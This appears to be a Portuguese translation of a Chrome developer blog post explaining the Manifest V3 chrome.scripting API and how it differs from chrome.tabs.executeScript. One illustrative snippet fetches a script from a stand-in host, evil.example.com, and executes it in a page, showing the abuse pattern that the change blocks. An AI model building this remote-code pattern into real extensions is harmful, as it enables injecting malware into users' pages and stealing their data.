Introdução ao chrome.scripting

Simeon Vincent
Simeon Vincent

O Manifest V3 introduz várias mudanças na plataforma de extensões do Chrome. Nesta postagem, vamos conhecer as motivações e mudanças trazidas por uma das mudanças mais importantes: a introdução da API chrome.scripting.

O que é chrome.scripting?

Como o nome pode sugerir, chrome.scripting é um novo namespace introduzido no Manifest V3, responsável por recursos de injeção de script e estilo.

Os desenvolvedores que criaram extensões do Chrome no passado podem estar familiarizados com os métodos do Manifest V2 na API Tabs, como chrome.tabs.executeScript e chrome.tabs.insertCSS. Esses métodos permitem que as extensões injetem scripts e folhas de estilo nas páginas, respectivamente. No Manifest V3, esses recursos foram movidos para chrome.scripting e planejamos expandir essa API com alguns novos recursos no futuro.

Por que criar uma nova API?

Com uma mudança como essa, uma das primeiras perguntas que tende a surgir é: “por quê?”

Alguns fatores fizeram com que a equipe do Chrome decidisse introduzir um novo namespace para o script. Primeiro, a API Tabs é uma gaveta de lixo para recursos. Em segundo lugar, precisávamos fazer alterações interruptivas na API executeScript atual. Em terceiro lugar, sabíamos que queríamos expandir os recursos de script para extensões. Juntas, essas preocupações definiram claramente a necessidade de um novo namespace para abrigar recursos de script.

A gaveta de lixo eletrônico

Um dos problemas que incomoda a equipe de extensões nos últimos anos é que a API chrome.tabs está sobrecarregada. Quando essa API foi introduzida pela primeira vez, a maioria dos recursos que ela forneceu estava relacionada ao conceito amplo de uma guia do navegador. Mesmo naquele momento, no entanto, ele era apenas um pequeno conjunto de recursos e, ao longo dos anos, essa coleção só cresceu.

Quando o Manifest V3 foi lançado, a API Tabs já havia crescido para abranger o gerenciamento básico de guias, gerenciamento de seleção, organização de janelas, mensagens, controle de zoom, navegação básica, scripting e alguns outros recursos menores. Embora tudo isso seja importante, pode ser um pouco complicado para os desenvolvedores no início e para a equipe do Chrome enquanto mantemos a plataforma e consideramos as solicitações da comunidade de desenvolvedores.

Outro fator complicado é que a permissão tabs não é bem compreendida. Embora muitas outras permissões restrinjam o acesso a uma determinada API (por exemplo, storage), essa permissão é um pouco incomum, porque só concede à extensão acesso a propriedades confidenciais em instâncias de Tab (e, por extensão, também afeta a API do Windows). É compreensível que muitos desenvolvedores de extensões pensem, por engano, que precisam dessa permissão para acessar métodos na API Tabs, como chrome.tabs.create ou, mais simplesmente, chrome.tabs.executeScript. Remover a funcionalidade da API Tabs ajuda a esclarecer um pouco dessa confusão.

Alterações importantes

Ao projetar o Manifest V3, um dos principais problemas que queríamos resolver era abuso e malware ativados por "código hospedado remotamente", um código que é executado, mas não incluído no pacote de extensões. É comum que autores de extensões abusivos executem scripts buscados de servidores remotos para roubar dados do usuário, injetar malware e evitar detecção. Embora bons atores também usem esse recurso, em última análise, sentimos que era muito perigoso continuar como antes.

Há algumas maneiras diferentes de as extensões executarem código desagrupado, mas a relevante aqui é o método chrome.tabs.executeScript do Manifest V2. Esse método permite que uma extensão execute uma string arbitrária de código em uma guia de destino. Isso, por sua vez, significa que um desenvolvedor mal-intencionado pode buscar um script arbitrário de um servidor remoto e executá-lo dentro de qualquer página que a extensão possa acessar. Sabíamos que, para resolver o problema do código remoto, teríamos que descartar esse recurso.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Também queríamos limpar alguns outros problemas mais sutis com o design da versão do Manifest V2 e tornar a API uma ferramenta mais refinada e previsível.

Embora pudéssemos ter mudado a assinatura desse método na API Tabs, percebemos que, entre essas mudanças interruptivas e a introdução de novos recursos (abordados na próxima seção), uma pausa limpa seria mais fácil para todos.

Expansão dos recursos de script

Outra consideração que alimentada no processo de design do Manifest V3 era o desejo de introduzir outros recursos de script na plataforma de extensões do Chrome. Especificamente, queríamos adicionar suporte a scripts de conteúdo dinâmico e expandir os recursos do método executeScript.

O suporte a scripts de conteúdo dinâmico é uma solicitação de recurso há muito tempo no Chromium. Atualmente, as extensões do Chrome Manifest V2 e V3 só podem declarar estaticamente scripts no arquivo manifest.json. A plataforma não oferece uma maneira de registrar novos scripts de conteúdo, ajustar o registro de scripts de conteúdo ou cancelar o registro de scripts de conteúdo no momento da execução.

Nós sabíamos que queríamos atender a essa solicitação de recurso no Manifest V3, mas nenhuma das nossas APIs existentes pareceva a casa certa. Também consideramos o alinhamento com o Firefox na API Content Scripts, mas logo no início identificamos algumas desvantagens principais dessa abordagem. Primeiro, sabíamos que teríamos assinaturas incompatíveis (por exemplo, eliminando o suporte à propriedade code). Em segundo lugar, nossa API tinha um conjunto diferente de restrições de design (por exemplo, a necessidade de um registro para persistir além da vida útil de um service worker).

No front-end de executeScript, também queríamos expandir o que essa API poderia fazer além do suporte da versão da API Tabs. Mais especificamente, queríamos oferecer suporte a funções e argumentos, segmentar com mais facilidade frames específicos e segmentar contextos que não sejam "tab".

No futuro, também estamos considerando como as extensões podem interagir com PWAs instalados e outros contextos que não mapeiam conceitualmente para "guias".

Alterações entre tabulares.executeScript e scripting.executeScript

No restante desta postagem, quero analisar melhor as semelhanças e diferenças entre chrome.tabs.executeScript e chrome.scripting.executeScript.

Como injetar uma função com argumentos

Ao considerar como a plataforma precisaria evoluir à luz das restrições de código hospedado remotamente, queríamos encontrar um equilíbrio entre a capacidade bruta da execução de código arbitrário e permitir apenas scripts de conteúdo estático. A solução que procuramos foi permitir que as extensões injetem uma função como script de conteúdo e transmitam uma matriz de valores como argumentos.

Vamos dar uma olhada em um exemplo (muito simplificado). Digamos que queremos injetar um script que saudou o usuário pelo nome quando ele clica no botão de ação da extensão (ícone na barra de ferramentas). No Manifest V2, poderíamos construir dinamicamente uma string de código e executar esse script na página atual.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Embora as extensões do Manifest V3 não possam usar códigos não incluídos com a extensão, nosso objetivo era preservar um pouco do dinamismo que os blocos de código arbitrários habilitaram para as extensões do Manifest V2. A abordagem de função e argumentos possibilita que revisores, usuários e outras partes interessadas da Chrome Web Store avaliem com mais precisão os riscos que uma extensão representa, além de permitir que os desenvolvedores modifiquem o comportamento do tempo de execução de uma extensão com base nas configurações do usuário ou no estado do aplicativo.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Frames de segmentação

Também queríamos melhorar a forma como os desenvolvedores interagem com os frames na API revisada. A versão do Manifest V2 do executeScript permitiu que os desenvolvedores segmentassem todos os frames em uma guia ou um frame específico na guia. Você pode usar chrome.webNavigation.getAllFrames para conferir uma lista de todos os frames em uma guia.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

No Manifesto V3, substituímos a propriedade inteira frameId opcional no objeto de opções por uma matriz frameIds opcional de números inteiros. Isso permite que os desenvolvedores segmentem vários frames em uma única chamada de API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Resultados da injeção de script

Também melhoramos a forma como retornamos resultados de injeção de script no Manifesto V3. Um “resultado” é, basicamente, a instrução final avaliada em um script. Pense nisso como o valor retornado quando você chama eval() ou executa um bloco de código no console do Chrome DevTools, mas serializado para transmitir resultados entre processos.

No Manifesto V2, executeScript e insertCSS retornariam uma matriz de resultados de execução simples. Isso não é um problema se você tiver apenas um ponto de injeção, mas a ordem dos resultados não é garantida na injeção em vários frames. Portanto, não é possível saber qual resultado está associado a qual frame.

Para ver um exemplo concreto, vamos analisar as matrizes results retornadas por um Manifesto V2 e uma versão do Manifesto V3 da mesma extensão. As duas versões da extensão injetarão o mesmo script de conteúdo, e os resultados serão comparados na mesma página de demonstração.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Quando executamos a versão do Manifest V2, recebemos uma matriz de [1, 0, 5]. Qual resultado corresponde ao frame principal e qual é para o iframe? O valor de retorno não nos diz, por isso não sabemos ao certo.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Na versão do Manifest V3, results agora contém uma matriz de objetos de resultado em vez de uma matriz apenas dos resultados da avaliação, e os objetos de resultado identificam claramente o ID do frame para cada resultado. Assim, fica muito mais fácil para os desenvolvedores utilizarem o resultado e realizarem ações em um frame específico.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Conclusão

O aumento das versões do manifesto representa uma rara oportunidade para repensar e modernizar as APIs de extensões. Nosso objetivo com o Manifest V3 é melhorar a experiência do usuário final, deixando as extensões mais seguras e, ao mesmo tempo, melhorando a experiência do desenvolvedor. Ao introduzir chrome.scripting no Manifest V3, conseguimos ajudar a limpar a API Tabs, reimaginar o executeScript para uma plataforma de extensões mais segura e estabelecer as bases para novos recursos de script que serão lançados ainda este ano.